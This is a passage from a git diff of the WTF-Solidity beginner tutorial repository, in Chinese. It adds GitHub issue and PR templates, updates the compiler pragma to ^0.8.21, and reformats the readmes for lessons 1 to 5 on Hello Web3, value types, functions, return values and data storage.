diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 000000000..f997eac7e --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,21 @@ +--- +name: Bug report(程序Bug报告) +about: Report a bug in the WTF-Solidity(报告WTF-Solidity中的程序Bug) + +--- + + + +**💻 Environment(环境)** + + + +**📝 Details(细节)** + + + +**🔢 Code to reproduce bug(复现程序Bug的代码)** + + + + diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 000000000..96aff2298 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,15 @@ +--- +name: Feature request(功能请求) +about: Suggest an idea for the WTF-Solidity(给WTF-Solidity提一个想法) + +--- + +**🧐 Motivation(动机)** + + + +**📝 Details(细节)** + + + + \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/improvement.md b/.github/ISSUE_TEMPLATE/improvement.md new file mode 100644 index 000000000..43ff705f2 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/improvement.md @@ -0,0 +1,15 @@ +--- +name: Improvement request(提升请求) +about: Suggest an improvement for the WTF-Solidity(给WTF-Solidity提一个改进提升的请求) + +--- + +**🧐 Motivation(动机)** + + + +**📝 Details(细节)** + + + + \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/typo_report.md b/.github/ISSUE_TEMPLATE/typo_report.md new file mode 100644 index 000000000..8fc8ccaac --- /dev/null +++ b/.github/ISSUE_TEMPLATE/typo_report.md @@ -0,0 +1,15 @@ +--- +name: Typo report(勘误报告) +about: Report a typo in the WTF-Solidity(报告WTF-Solidity中的勘误) + +--- + +**📝 Details(细节)** + + + +**🔢 Reference(参考)** + + + + \ No newline at end of file diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 000000000..f304bd6d6 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,12 @@ +### What type of PR is this (这是什么类型的PR) + +- [ ] Typo(勘误) +- [ ] BUG(程序错误) +- [ ] Improvement(提升) +- [ ] Feature(新特性) + +### Which issue(s) this PR fixes(Optional) (这个PR 修复了什么问题 (可选择)) + +* resolve(修复) : # + +### What this PR does / why we need it (这个PR 做了什么/ 我们为什么需要这个PR) diff --git a/.github/workflows/codespell.yml b/.github/workflows/codespell.yml index c60877026..a34f48cd9 100644 --- a/.github/workflows/codespell.yml +++ b/.github/workflows/codespell.yml @@ -16,4 +16,4 @@ jobs: with: check_filenames: true ignore_words_file: .codespellignore - skip: ./.git,package-lock.json + skip: "./.git,package-lock.json,./Languages/es,./Languages/pt-br" diff --git a/01_HelloWeb3/HelloWeb3.sol b/01_HelloWeb3/HelloWeb3.sol index 58cb28085..99bf19d3d 100644 --- a/01_HelloWeb3/HelloWeb3.sol +++ b/01_HelloWeb3/HelloWeb3.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract HelloWeb3{ string public _string = "Hello Web3!"; } diff --git a/01_HelloWeb3/readme.md b/01_HelloWeb3/readme.md index 3d2110c2b..86bb627aa 100644 --- a/01_HelloWeb3/readme.md +++ b/01_HelloWeb3/readme.md @@ -8,15 +8,15 @@ tags: # WTF Solidity极简入门: 1. Hello Web3 (三行代码) -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## Solidity 简介 @@ -43,7 +43,7 @@ tags: ```solidity // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract HelloWeb3{ string public _string = "Hello Web3!"; } @@ -53,22 +53,23 @@ contract HelloWeb3{ 1. 第 1 行是注释,说明代码所使用的软件许可(license),这里使用的是 MIT 许可。如果不写许可,编译时会出现警告(warning),但程序仍可运行。Solidity 注释以“//”开头,后面跟注释内容,注释不会被程序执行。 - ```solidity - // SPDX-License-Identifier: MIT - ``` + ```solidity + // SPDX-License-Identifier: MIT + ``` + +2. 第 2 行声明源文件所使用的 Solidity 版本,因为不同版本的语法有差异。这行代码表示源文件将不允许小于 0.8.21 版本或大于等于 0.9.0 的编译器编译(第二个条件由 `^` 提供)。Solidity 语句以分号(;)结尾。 + + ```solidity + pragma solidity ^0.8.21; + ``` -2. 第 2 行声明源文件所使用的 Solidity 版本,因为不同版本的语法有差异。这行代码表示源文件将不允许小于 0.8.4 版本或大于等于 0.9.0 的编译器编译(第二个条件由 `^` 提供)。Solidity 语句以分号(;)结尾。 - ```solidity - pragma solidity ^0.8.4; - ``` - 3. 第 3-4 行是合约部分。第 3 行创建合约(contract),并声明合约名为 `HelloWeb3`。第 4 行是合约内容,声明了一个 string(字符串)变量 `_string`,并赋值为 "Hello Web3!"。 - ```solidity - contract HelloWeb3 { - string public _string = "Hello Web3!"; - } - ``` + ```solidity + contract HelloWeb3 { + string public _string = "Hello Web3!"; + } + ``` 后续我们会更详细地介绍 Solidity 中的变量。 @@ -78,18 +79,19 @@ contract HelloWeb3{ 编译完成后,点击左侧菜单的“部署”按钮,进入部署页面。 -![](./img/1-2.png) +![Deploy配图](./img/1-2.png) 默认情况下,`Remix` 会使用 `Remix` 虚拟机(以前称为 JavaScript 虚拟机)来模拟以太坊链,运行智能合约,类似在浏览器里运行一条测试链。`Remix` 还会为你分配一些测试账户,每个账户里有 100 ETH(测试代币),随意使用。点击 `Deploy`(黄色按钮),即可部署我们编写的合约。 -![](./img/1-3.png) +![_string配图](./img/1-3.png) 部署成功后,在下方会看到名为 `HelloWeb3` 的合约。点击 `_string`,即可看到 "Hello Web3!"。 ## 总结 + 本节课程中,我们简要介绍了 `Solidity` 和 `Remix` 工具,并完成了第一个 `Solidity` 程序 —— `HelloWeb3`。接下来,我们将继续深入学习 `Solidity`! -### 中文 Solidity 资料推荐: -1. [Solidity中文文档](https://docs.soliditylang.org/zh/v0.8.19/index.html)(官方文档的中文翻译) +### 中文 Solidity 资料推荐 -2. [崔棉大师solidity教程](https://space.bilibili.com/286084162) web3技术教学博主,我看他视频学到了很多 +1. [Solidity中文文档](https://docs.soliditylang.org/zh/v0.8.19/index.html)(官方文档的中文翻译) +2. [崔棉大师solidity教程](https://space.bilibili.com/286084162) web3技术教学博主,我看他视频学到了很多 diff --git a/02_ValueTypes/ValueTypes.sol b/02_ValueTypes/ValueTypes.sol index fae578629..4d7a675c0 100644 --- a/02_ValueTypes/ValueTypes.sol +++ b/02_ValueTypes/ValueTypes.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract ValueTypes{ // 布尔值 bool public _bool = true; diff --git a/02_ValueTypes/readme.md b/02_ValueTypes/readme.md index 50d023fc7..f8d902bc8 100644 --- a/02_ValueTypes/readme.md +++ b/02_ValueTypes/readme.md @@ -8,17 +8,18 @@ tags: # WTF Solidity极简入门: 2. 值类型 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## Solidity中的变量类型 + 1. **值类型(Value Type)**:包括布尔型,整数型等等,这类变量赋值时候直接传递数值。 2. **引用类型(Reference Type)**:包括数组和结构体,这类变量占空间大,赋值时候直接传递地址(类似指针)。 @@ -28,12 +29,14 @@ tags: 我们将仅介绍常用类型,不常用的类型不会涉及,本篇将介绍值类型。 ## 值类型 + ### 1. 布尔型 + 布尔型是二值变量,取值为 `true` 或 `false`。 ```solidity - // 布尔值 - bool public _bool = true; +// 布尔值 +bool public _bool = true; ``` 布尔值的运算符包括: @@ -45,44 +48,47 @@ tags: - `!=` (不等于) ```solidity - // 布尔运算 - bool public _bool1 = !_bool; // 取非 - bool public _bool2 = _bool && _bool1; // 与 - bool public _bool3 = _bool || _bool1; // 或 - bool public _bool4 = _bool == _bool1; // 相等 - bool public _bool5 = _bool != _bool1; // 不相等 +// 布尔运算 +bool public _bool1 = !_bool; // 取非 +bool public _bool2 = _bool && _bool1; // 与 +bool public _bool3 = _bool || _bool1; // 或 +bool public _bool4 = _bool == _bool1; // 相等 +bool public _bool5 = _bool != _bool1; // 不相等 ``` 在上述代码中:变量 `_bool` 的取值是 `true`;`_bool1` 是 `_bool` 的非,为 `false`;`_bool && _bool1` 为 `false`;`_bool || _bool1` 为 `true`;`_bool == _bool1` 为 `false`;`_bool != _bool1` 为 `true`。 -**值得注意的是:**`&&` 和 `||` 运算符遵循短路规则,这意味着,假如存在 `f(x) || g(y)` 的表达式,如果 `f(x)` 是 `true`,`g(y)` 不会被计算,即使它和 `f(x)` 的结果是相反的。 +**值得注意的是:**`&&` 和 `||` 运算符遵循短路规则,这意味着,假如存在 `f(x) || g(y)` 的表达式,如果 `f(x)` 是 `true`,`g(y)` 不会被计算,即使它和 `f(x)` 的结果是相反的。假如存在`f(x) && g(y)` 的表达式,如果 `f(x)` 是 `false`,`g(y)` 不会被计算。 +所谓“短路规则”,一般出现在逻辑与(&&)和逻辑或(||)中。 当逻辑与(&&)的第一个条件为false时,就不会再去判断第二个条件; 当逻辑或(||)的第一个条件为true时,就不会再去判断第二个条件,这就是短路规则。 ### 2. 整型 + 整型是 Solidity 中的整数,最常用的包括: ```solidity - // 整型 - int public _int = -1; // 整数,包括负数 - uint public _uint = 1; // 正整数 - uint256 public _number = 20220330; // 256位正整数 +// 整型 +int public _int = -1; // 整数,包括负数 +uint public _uint = 1; // 正整数 +uint256 public _number = 20220330; // 256位正整数 ``` 常用的整型运算符包括: -- 比较运算符(返回布尔值): `<=`, `<`,`==`, `!=`, `>=`, `>` +- 比较运算符(返回布尔值): `<=`, `<`,`==`, `!=`, `>=`, `>` - 算数运算符: `+`, `-`, `*`, `/`, `%`(取余),`**`(幂) ```solidity - // 整数运算 - uint256 public _number1 = _number + 1; // +,-,*,/ - uint256 public _number2 = 2**2; // 指数 - uint256 public _number3 = 7 % 2; // 取余数 - bool public _numberbool = _number2 > _number3; // 比大小 +// 整数运算 +uint256 public _number1 = _number + 1; // +,-,*,/ +uint256 public _number2 = 2**2; // 指数 +uint256 public _number3 = 7 % 2; // 取余数 +bool public _numberbool = _number2 > _number3; // 比大小 ``` 大家可以运行一下代码,看看这 4 个变量分别是多少。 ### 3. 地址类型 + 地址类型(address)有两类: - 普通地址(address): 存储一个 20 字节的值(以太坊地址的大小)。 @@ -91,11 +97,11 @@ tags: 我们会在之后的章节更加详细地介绍 payable address。 ```solidity - // 地址 - address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; - address payable public _address1 = payable(_address); // payable address,可以转账、查余额 - // 地址类型的成员 - uint256 public balance = _address1.balance; // balance of address +// 地址 +address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71; +address payable public _address1 = payable(_address); // payable address,可以转账、查余额 +// 地址类型的成员 +uint256 public balance = _address1.balance; // balance of address ``` ### 4. 定长字节数组 @@ -106,9 +112,9 @@ tags: - 不定长字节数组: 属于引用类型(之后的章节介绍),数组长度在声明之后可以改变,包括 `bytes` 等。 ```solidity - // 固定长度的字节数组 - bytes32 public _byte32 = "MiniSolidity"; - bytes1 public _byte = _byte32[0]; +// 固定长度的字节数组 +bytes32 public _byte32 = "MiniSolidity"; +bytes1 public _byte = _byte32[0]; ``` 在上述代码中,`MiniSolidity` 变量以字节的方式存储进变量 `_byte32`。如果把它转换成 `16 进制`,就是:`0x4d696e69536f6c69646974790000000000000000000000000000000000000000` @@ -116,27 +122,35 @@ tags: `_byte` 变量的值为 `_byte32` 的第一个字节,即 `0x4d`。 ### 5. 枚举 enum + 枚举(`enum`)是 Solidity 中用户定义的数据类型。它主要用于为 `uint` 分配名称,使程序易于阅读和维护。它与 `C 语言` 中的 `enum` 类似,使用名称来代替从 `0` 开始的 `uint`: + ```solidity - // 用enum将uint 0, 1, 2表示为Buy, Hold, Sell - enum ActionSet { Buy, Hold, Sell } - // 创建enum变量 action - ActionSet action = ActionSet.Buy; +// 用enum将uint 0, 1, 2表示为Buy, Hold, Sell +enum ActionSet { Buy, Hold, Sell } +// 创建enum变量 action +ActionSet action = ActionSet.Buy; ``` + 枚举可以显式地和 `uint` 相互转换,并会检查转换的正整数是否在枚举的长度内,否则会报错: + ```solidity - // enum可以和uint显式的转换 - function enumToUint() external view returns(uint){ - return uint(action); - } +// enum可以和uint显式的转换 +function enumToUint() external view returns(uint){ + return uint(action); +} ``` + `enum` 是一个比较冷门的变量,几乎没什么人用。 ## 在 Remix 上运行 + - 部署合约后可以查看每个类型的变量的数值: + ![2-1.png](./img/2-1.png) - `enum` 和 `uint` 转换的示例: + ![2-2.png](./img/2-2.png) ![2-3.png](./img/2-3.png) diff --git a/03_Function/Function.sol b/03_Function/Function.sol index 6baa1e8ea..03dbbae11 100644 --- a/03_Function/Function.sol +++ b/03_Function/Function.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract FunctionTypes{ uint256 public number = 5; @@ -22,7 +22,7 @@ contract FunctionTypes{ new_number = number + 1; } - // internal: 内部 + // internal: 内部函数 function minus() internal { number = number - 1; } diff --git a/03_Function/readme.md b/03_Function/readme.md index 254431531..1135e086b 100644 --- a/03_Function/readme.md +++ b/03_Function/readme.md @@ -8,15 +8,15 @@ tags: # WTF Solidity极简入门: 3. 函数 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## 函数 @@ -25,7 +25,7 @@ Solidity语言的函数非常灵活,可以进行各种复杂操作。在本教 我们先看一下 Solidity 中函数的形式: ```solidity - function () {internal|external|public|private} [pure|view|payable] [returns ()] +function () {internal|external|public|private} [pure|view|payable] [returns ()] ``` 看着有一些复杂,让我们从前往后逐个解释(方括号中的是可写可不 @@ -53,6 +53,7 @@ Solidity语言的函数非常灵活,可以进行各种复杂操作。在本教 6. `[returns ()]`:函数返回的变量类型和名称。 ## 到底什么是 `Pure` 和`View`? + 刚开始学习 `solidity` 时,`pure` 和 `view` 关键字可能令人费解,因为其他编程语言中没有类似的关键字。`solidity` 引入这两个关键字主要是因为 以太坊交易需要支付气费(gas fee)。合约的状态变量存储在链上,gas fee 很贵,如果计算不改变链上状态,就可以不用付 `gas`。包含 `pure` 和 `view` 关键字的函数是不改写链上状态的,因此用户直接调用它们是不需要付 gas 的(注意,合约中非 `pure`/`view` 函数调用 `pure`/`view` 函数时需要付gas)。 在以太坊中,以下语句被视为修改链上状态: @@ -68,7 +69,6 @@ Solidity语言的函数非常灵活,可以进行各种复杂操作。在本教 为了帮助大家理解,我画了一个马里奥插图。在这幅插图中,我将合约中的状态变量(存储在链上)比作碧琪公主,三种不同的角色代表不同的关键字。 - ![WTF is pure and view in solidity?](https://images.mirror-media.xyz/publication-images/1B9kHsTYnDY_QURSWMmPb.png?height=1028&width=1758) - `pure`,中文意思是“纯”,这里可以理解为”纯打酱油的”。`pure` 函数既不能读取也不能写入链上的状态变量。就像小怪一样,看不到也摸不到碧琪公主。 @@ -78,39 +78,46 @@ Solidity语言的函数非常灵活,可以进行各种复杂操作。在本教 - 非 `pure` 或 `view` 的函数既可以读取也可以写入状态变量。类似马里奥里的 `boss`,可以对碧琪公主为所欲为🐶。 ## 代码 + ### 1. pure 和 view 我们在合约里定义一个状态变量 `number`,初始化为 5。 + ```solidity - // SPDX-License-Identifier: MIT - pragma solidity ^0.8.4; - contract FunctionTypes{ - uint256 public number = 5; - } +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.21; +contract FunctionTypes{ + uint256 public number = 5; +} ``` + 定义一个 `add()` 函数,每次调用会让 `number` 增加 1。 + ```solidity - // 默认 - function add() external{ - number = number + 1; - } +// 默认function +function add() external{ + number = number + 1; +} ``` -如果 `add()` 函数被标记为 `pure`,比如 `function add() pure external`,就会报错。因为 `pure` 是不配读取合约里的状态变量的,更不配改写。那 `pure` 函数能做些什么?举个例子,你可以给函数传递一个参数 `_number`,然后让他返回 `_number + 1`,这个操作不会读取或写入状态变量。 + +如果 `add()` 函数被标记为 `pure`,比如 `function add() external pure`,就会报错。因为 `pure` 是不配读取合约里的状态变量的,更不配改写。那 `pure` 函数能做些什么?举个例子,你可以给函数传递一个参数 `_number`,然后让他返回 `_number + 1`,这个操作不会读取或写入状态变量。 + ```solidity - // pure: - function addPure(uint256 _number) external pure returns(uint256 new_number){ - new_number = _number + 1; - } +// pure: 纯纯牛马 +function addPure(uint256 _number) external pure returns(uint256 new_number){ + new_number = _number + 1; +} ``` ![3-3.png](./img/3-3.png) -如果 `add()` 函数被标记为 `view`,比如 `function add() view external`,也会报错。因为 `view` 能读取,但不能够改写状态变量。我们可以稍微改写下函数,读取但是不改写 `number`,返回一个新的变量。 +如果 `add()` 函数被标记为 `view`,比如 `function add() external view`,也会报错。因为 `view` 能读取,但不能够改写状态变量。我们可以稍微改写下函数,读取但是不改写 `number`,返回一个新的变量。 + ```solidity - // view: 看客 - function addView() external view returns(uint256 new_number) { - new_number = number + 1; - } +// view: 看客 +function addView() external view returns(uint256 new_number) { + new_number = number + 1; +} ``` ![3-4.png](./img/3-4.png) @@ -118,37 +125,41 @@ Solidity语言的函数非常灵活,可以进行各种复杂操作。在本教 ### 2. internal v.s. external ```solidity - // internal: 内部函数 - function minus() internal { - number = number - 1; - } - - // 合约内的函数可以调用内部函数 - function minusCall() external { - minus(); - } +// internal: 内部函数 +function minus() internal { + number = number - 1; +} + +// 合约内的函数可以调用内部函数 +function minusCall() external { + minus(); +} ``` + 我们定义一个 `internal` 的 `minus()` 函数,每次调用使得 `number` 变量减少 1。由于 `internal` 函数只能由合约内部调用,我们必须再定义一个 `external` 的 `minusCall()` 函数,通过它间接调用内部的 `minus()` 函数。 + ![3-1.png](./img/3-1.png) ### 3. payable + ```solidity - // payable: 递钱,能给合约支付eth的函数 - function minusPayable() external payable returns(uint256 balance) { - minus(); - balance = address(this).balance; - } +// payable: 递钱,能给合约支付eth的函数 +function minusPayable() external payable returns(uint256 balance) { + minus(); + balance = address(this).balance; +} ``` -我们定义一个 `external payable` 的 `minusPayable()` 函数,间接的调用 `minus()`,并且返回合约里的 ETH 余额(`this` 关键字可以让我们引用合约地址)。我们可以在调用 `minusPayable()` 时往合约里转入1个 ETH。 +我们定义一个 `external payable` 的 `minusPayable()` 函数,间接的调用 `minus()`,并且返回合约里的 ETH 余额(`this` 关键字可以让我们引用合约地址)。我们可以在调用 `minusPayable()` 时往合约里转入1个 ETH。 -![](https://images.mirror-media.xyz/publication-images/ETDPN8myq7jFfAL8CUAFt.png?height=148&width=588) +![mirror-image-1](https://images.mirror-media.xyz/publication-images/ETDPN8myq7jFfAL8CUAFt.png?height=148&width=588) 我们可以在返回的信息中看到,合约的余额变为 1 ETH。 -![](https://images.mirror-media.xyz/publication-images/nGZ2pz0MvzgXuKrENJPYf.png?height=128&width=1130) +![mirror-image-2](https://images.mirror-media.xyz/publication-images/nGZ2pz0MvzgXuKrENJPYf.png?height=128&width=1130) ![3-2.png](./img/3-2.png) ## 总结 + 在这一讲,我们介绍了 `Solidity` 中的函数。`pure` 和 `view` 关键字比较难理解,在其他语言中没出现过:`view` 函数可以读取状态变量,但不能改写;`pure` 函数既不能读取也不能改写状态变量。 diff --git a/04_Return/Return.sol b/04_Return/Return.sol index 6ed87b602..28e4e4da5 100644 --- a/04_Return/Return.sol +++ b/04_Return/Return.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; // 返回多个变量 // 命名式返回 diff --git a/04_Return/readme.md b/04_Return/readme.md index 54d4785d4..09f078d80 100644 --- a/04_Return/readme.md +++ b/04_Return/readme.md @@ -9,15 +9,15 @@ tags: # WTF Solidity极简入门: 4. 函数输出 -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- 这一讲,我们将介绍 Solidity 函数输出,包括:返回多种变量,命名式返回,以及利用解构式赋值读取全部或部分返回值。 @@ -31,12 +31,14 @@ Solidity 中与函数输出相关的有两个关键字:`return`和`returns`。 ```solidity // 返回多个变量 function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){ - return(1, true, [uint256(1),2,5]); - } + return(1, true, [uint256(1),2,5]); +} ``` 在上述代码中,我们利用 `returns` 关键字声明了有多个返回值的 `returnMultiple()` 函数,然后我们在函数主体中使用 `return(1, true, [uint256(1),2,5])` 确定了返回值。 +这里`uint256[3]`声明了一个长度为`3`且类型为`uint256`的数组作为返回值。因为`[1,2,3]`会默认为`uint8(3)`,因此`[uint256(1),2,5]`中首个元素必须强转`uint256`来声明该数组内的元素皆为此类型。数组类型返回值默认必须用memory修饰,在下一个章节会细说[变量的存储和作用域](../05_DataStorage/readme.md)。 + ## 命名式返回 我们可以在 `returns` 中标明返回变量的名称。Solidity 会初始化这些变量,并且自动返回这些函数的值,无需使用 `return`。 @@ -53,41 +55,39 @@ function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[ 在上述代码中,我们用 `returns(uint256 _number, bool _bool, uint256[3] memory _array)` 声明了返回变量类型以及变量名。这样,在主体中只需为变量 `_number`、`_bool`和`_array` 赋值,即可自动返回。 当然,你也可以在命名式返回中用 `return` 来返回变量: + ```solidity // 命名式返回,依然支持return function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){ return(1, true, [uint256(1),2,5]); } ``` + ## 解构式赋值 -Solidity支持使用解构式赋值规则来读取函数的全部或部分返回值。 +Solidity 支持使用解构式赋值规则来读取函数的全部或部分返回值。 - 读取所有返回值:声明变量,然后将要赋值的变量用`,`隔开,按顺序排列。 -```solidity -uint256 _number; -bool _bool; -uint256[3] memory _array; -(_number, _bool, _array) = returnNamed(); -``` + ```solidity + uint256 _number; + bool _bool; + uint256[3] memory _array; + (_number, _bool, _array) = returnNamed(); + ``` - 读取部分返回值:声明要读取的返回值对应的变量,不读取的留空。在下面的代码中,我们只读取`_bool`,而不读取返回的`_number`和`_array`: -```solidity -(, _bool2, ) = returnNamed(); -``` + ```solidity + (, _bool2, ) = returnNamed(); + ``` ## 在 Remix 上运行 - 部署合约后查看三种返回方式的结果 -![](./img/4-1.png) - + ![4-1.png](./img/4-1.png) ## 总结 -这一讲,我们介绍 Solidity 函数返回值,包括:返回多种变量,命名式返回,以及利用解构式赋值读取全部或部分返回值。这些知识点有助于我们在编写智能合约时更灵活地处理函数返回值。 - - - +这一讲,我们介绍 Solidity 函数返回值,包括:返回多种变量,命名式返回,以及利用解构式赋值读取全部或部分返回值。这些知识点有助于我们在编写智能合约时,更灵活地处理函数返回值。 diff --git a/05_DataStorage/DataStorage.sol b/05_DataStorage/DataStorage.sol index b459cd0b6..197a23587 100644 --- a/05_DataStorage/DataStorage.sol +++ b/05_DataStorage/DataStorage.sol @@ -1,5 +1,5 @@ // SPDX-License-Identifier: MIT -pragma solidity ^0.8.4; +pragma solidity ^0.8.21; contract DataStorage { // The data location of x is storage. diff --git a/05_DataStorage/readme.md b/05_DataStorage/readme.md index 3d81bbbde..fa7bce69f 100644 --- a/05_DataStorage/readme.md +++ b/05_DataStorage/readme.md @@ -9,68 +9,75 @@ tags: # WTF Solidity极简入门: 5. 变量数据存储和作用域 storage/memory/calldata -我最近在重新学solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新1-3讲。 +我最近在重新学 Solidity,巩固一下细节,也写一个“WTF Solidity极简入门”,供小白们使用(编程大佬可以另找教程),每周更新 1-3 讲。 -推特:[@0xAA_Science](https://twitter.com/0xAA_Science) +推特:[@0xAA_Science](https://twitter.com/0xAA_Science)|[@WTFAcademy_](https://twitter.com/WTFAcademy_) 社区:[Discord](https://discord.gg/5akcruXrsk)|[微信群](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link)|[官网 wtf.academy](https://wtf.academy) -所有代码和教程开源在github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) +所有代码和教程开源在 github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ------ +--- ## Solidity中的引用类型 + **引用类型(Reference Type)**:包括数组(`array`)和结构体(`struct`),由于这类变量比较复杂,占用存储空间大,我们在使用时必须要声明数据存储的位置。 ## 数据位置 -solidity数据存储位置有三类:`storage`,`memory`和`calldata`。不同存储位置的`gas`成本不同。`storage`类型的数据存在链上,类似计算机的硬盘,消耗`gas`多;`memory`和`calldata`类型的临时存在内存里,消耗`gas`少。大致用法: +Solidity数据存储位置有三类:`storage`,`memory`和`calldata`。不同存储位置的`gas`成本不同。`storage`类型的数据存在链上,类似计算机的硬盘,消耗`gas`多;`memory`和`calldata`类型的临时存在内存里,消耗`gas`少。大致用法: 1. `storage`:合约里的状态变量默认都是`storage`,存储在链上。 -2. `memory`:函数里的参数和临时变量一般用`memory`,存储在内存中,不上链。 +2. `memory`:函数里的参数和临时变量一般用`memory`,存储在内存中,不上链。尤其是如果返回数据类型是变长的情况下,必须加memory修饰,例如:string, bytes, array和自定义结构。 3. `calldata`:和`memory`类似,存储在内存中,不上链。与`memory`的不同点在于`calldata`变量不能修改(`immutable`),一般用于函数的参数。例子: ```solidity - function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ - //参数为calldata数组,不能被修改 - // _x[0] = 0 //这样修改会报错 - return(_x); - } +function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){ + //参数为calldata数组,不能被修改 + // _x[0] = 0 //这样修改会报错 + return(_x); +} ``` + **Example:** + ![5-1.png](./img/5-1.png) ### 数据位置和赋值规则 + 在不同存储类型相互赋值时候,有时会产生独立的副本(修改新变量不会影响原变量),有时会产生引用(修改新变量会影响原变量)。规则如下: - 赋值本质上是创建**引用**指向本体,因此修改本体或者是引用,变化可以被同步: - - `storage`(合约的状态变量)赋值给本地`storage`(函数里的)时候,会创建引用,改变新变量会影响原变量。例子: - ```solidity - uint[] x = [1,2,3]; // 状态变量:数组 x - - function fStorage() public{ - //声明一个storage的变量 xStorage,指向x。修改xStorage也会影响x - uint[] storage xStorage = x; - xStorage[0] = 100; - } - ``` - **Example:** - ![5-2.png](./img/5-2.png) + - 